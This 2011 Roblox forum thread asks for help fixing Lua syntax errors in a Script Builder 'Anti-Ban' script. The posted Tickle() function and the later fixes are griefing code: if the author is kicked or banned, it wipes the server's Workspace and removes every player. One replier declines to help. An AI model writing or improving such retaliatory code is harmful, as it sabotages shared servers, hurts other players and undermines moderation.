ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 06:47 PM |
I'm making admin commands for Script Builder, and my Anti-Ban isn't working. I have the function to crash the server if I leave, but I now need two things. First, I have this error: [string "1"]:379: 'eof' expected near 'end' -- the 'eof' did the have the <> things around it.
I don't know what that means, so I am asking you. Second, I need to know how to turn OFF the Anti-Ban. Here is my script(Not including the crash fuction): protect = {"ShoeBox4"}
if string.sub(msg, 1, 3) == "ab/" then if string.sub(msg, 4) == "on" then local a = Instance.new("Hint") a.Parent = game.Workspace a.Text = "ShoeBox4's Anti-Ban Status: ON" if not game.Players:FindFirstChild(protect.Name) then Tickle() end end elseif string.sub(msg, 4) == "off" then a:remove() local b = Instance.new("Hint") b.Parent = game.Workspace b.Text = "ShoeBox4's Anti-Ban Status: OFF" end end
|
|
|
| Report Abuse |
|
|
|
| 07 Aug 2011 06:49 PM |
| eof means end of file. That means that you have to delete an end. |
|
|
| Report Abuse |
|
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 06:50 PM |
| Oh, and how would I turn off the anti-ban? |
|
|
| Report Abuse |
|
|
|
| 07 Aug 2011 06:52 PM |
| What? Isn't that what the "off" command is for? |
|
|
| Report Abuse |
|
|
MyrcoAlt
|
  |
| Joined: 31 Mar 2011 |
| Total Posts: 209 |
|
|
| 07 Aug 2011 06:52 PM |
| I'd like to help, but I don't help anti-bans, plus @second replayer: no it means end of function. |
|
|
| Report Abuse |
|
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 06:55 PM |
@ElectricBlaze
Yes, that's what the "off" command is for. But asa you can see, it doesn't turn anything off, just simply creates a new hint. |
|
|
| Report Abuse |
|
|
|
| 07 Aug 2011 07:09 PM |
| Well then, you'd have to show me the Tickle() function. |
|
|
| Report Abuse |
|
|
Seranok
|
  |
| Joined: 12 Dec 2009 |
| Total Posts: 11083 |
|
| |
|
|
| 07 Aug 2011 07:13 PM |
| @Seranok and Myrko - Ha, I always thought it was end of file. Thanks. |
|
|
| Report Abuse |
|
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 07:57 PM |
Here is the Tickle() function:
function Tickle() local m = Instance.new("Message") m.Parent = game.Workspace m.Text = "ShoeBox4 has been kicked or banned with Anti-Ban. You all have to suffer." wait(3) local x = game.Workspace:GetChildren() for i = 1, #x do x[i]:remove() end local z = game.Players:GetChildren() for i = 1, #z do z[i]:remove() end end
|
|
|
| Report Abuse |
|
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
| |
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 09:16 PM |
| Comeon people please help D: |
|
|
| Report Abuse |
|
|
|
| 07 Aug 2011 09:27 PM |
protect = "ShoeBox4" isOn = false
if string.sub(msg, 1, 3) == "ab/" then if string.sub(msg, 4) == "on" then if isOn == false then isOn = true local a = Instance.new("Hint") a.Parent = game.Workspace a.Text = "ShoeBox4's Anti-Ban Status: ON" if not game.Players:FindFirstChild(protect) then Tickle() end end elseif string.sub(msg, 4) == "off" then isOn = false a:remove() local b = Instance.new("Hint") b.Parent = game.Workspace b.Text = "ShoeBox4's Anti-Ban Status: OFF" end end
|
|
|
| Report Abuse |
|
|
goar24
|
  |
| Joined: 15 Aug 2009 |
| Total Posts: 4140 |
|
| |
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 10:26 PM |
Ok, I have a new problem. Here is my script:
if string.sub(msg, 1, 3) == "ab/" then if string.sub(msg, 4) == "on" then if isOn == false then isOn = true local a = Instance.new("Hint") a.Parent = game.Workspace a.Text = "ShoeBox4's Anti-Ban Status: ON" if not game.Players:FindFirstChild(protect) then Tickle() end -- This ends the FindFirstChild(protect) end -- This ends if isOn == false then end -- This ends if string.sub(msg, 4) == "on" elseif string.sub(msg, 3) == "off" then isOn = false a:remove() local b = Instance.new("Hint") b.Parent = game.Workspace b.Text = "ShoeBox4's Anti-Ban Status: OFF" end -- This end the elseif msg == "off" thing end -- This ends the first string.sub
Do you agree there should be a total of 5 ends? Well I think so. But the output tells me I need to delete one. And if I don't it won't work. So I deleted it, but after I say ab/on, then it breaks... I dont't see any extra ends in there! Can I have some help? |
|
|
| Report Abuse |
|
|
ShoeBox4
|
  |
| Joined: 06 Apr 2011 |
| Total Posts: 890 |
|
|
| 07 Aug 2011 10:42 PM |
| Come on peopl just take 1 minute to read that please D: I honestly don't get why I need to delete an end. |
|
|
| Report Abuse |
|
|
|
| 07 Aug 2011 11:37 PM |
Try this:
-------------THE BELOW GOES AT THE TOP OF THE SCRIPT---------- protect = "ShoeBox4" isOn = false isReady = false -------------THE ABOVE GOES AT THE TOP OF THE SCRIPT----------
--------------THE BELOW GOES BEFORE THE CHATTED FUNCTION---------------------------- function waitForReady() if isOn then if not game.Players:FindFirstChild(protect) then isReady = true else isReady = false end end end --------------THE ABOVE GOES BEFORE THE CHATTED FUNCTION----------------------------
if string.sub(msg, 1, 3) == "ab/" then if string.sub(msg, 4) == "on" then if isOn == false then isOn = true local a = Instance.new("Hint") a.Parent = game.Workspace a.Text = "ShoeBox4's Anti-Ban Status: ON" repeat waitForReady() until isReady == true Tickle() end elseif string.sub(msg, 4) == "off" then isOn = false a:remove() local b = Instance.new("Hint") b.Parent = game.Workspace b.Text = "ShoeBox4's Anti-Ban Status: OFF" end end
|
|
|
| Report Abuse |
|
|
mityguy
|
  |
| Joined: 07 Jun 2008 |
| Total Posts: 5483 |
|
|
| 08 Aug 2011 01:40 AM |
| You gont one to many ends. I got faith in you to find it |
|
|
| Report Abuse |
|
|